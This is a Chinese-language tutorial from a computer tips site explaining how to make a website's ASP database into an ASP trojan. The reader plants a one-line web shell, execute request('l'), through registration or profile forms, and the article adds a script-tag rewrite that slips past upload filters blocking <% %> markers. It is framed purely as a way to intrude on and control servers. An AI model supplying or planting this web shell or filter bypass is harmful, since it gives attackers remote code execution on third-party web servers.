插入ASP代码让网站数据库成为ASP木马-电脑教程-先飞电脑技术网

>> 本频道近100000余篇各类电脑技术、网络技术、软件技术、网页及平面设计等方面的电脑教程，我们的原则:不是精华拒不收录!

先飞电脑技术网 → 技术文章 → 网络技术 → 网络安全

插入ASP代码让网站数据库成为ASP木马

［作者：佚名转贴自：网络转载阅读次数：59 更新时间：2007-8-28 16:19:00 录入：刘光勇］热

很多时候我们可以通过在注册表单或者用户信息修改表单中，插入简短的ASP代码，使网站ASP数据库变成为一个ASP木马，然后进一步入侵控制服务器。

不过在上传代码过程中，许多网页程序都不允许包含〈%%〉标记符号的内容的文件上传。

这样就有好多SHELL不能上传上去了。可以采用下面的方法解决。以蓝屏最小ASP木马为例。

首先：原程序代码是：

〈%execute request("l")%〉

我们可以把它的标签换下来。

然后改成：

〈scriptlanguage=VBScript runat=server〉execute request("l")〈/Script〉

这样就避开了使用〈%%〉，保存为.ASP,程序同样执行。

【文章首页】【加入到收藏夹】【告诉好友】【打印此文】【关闭窗口】

·上一篇文章：黑客隐藏PHP文件后门的技巧 ·下一篇文章：思科惊现严重漏洞影响骨干网络

【相关文章】

【热门文章】

站内文章搜索：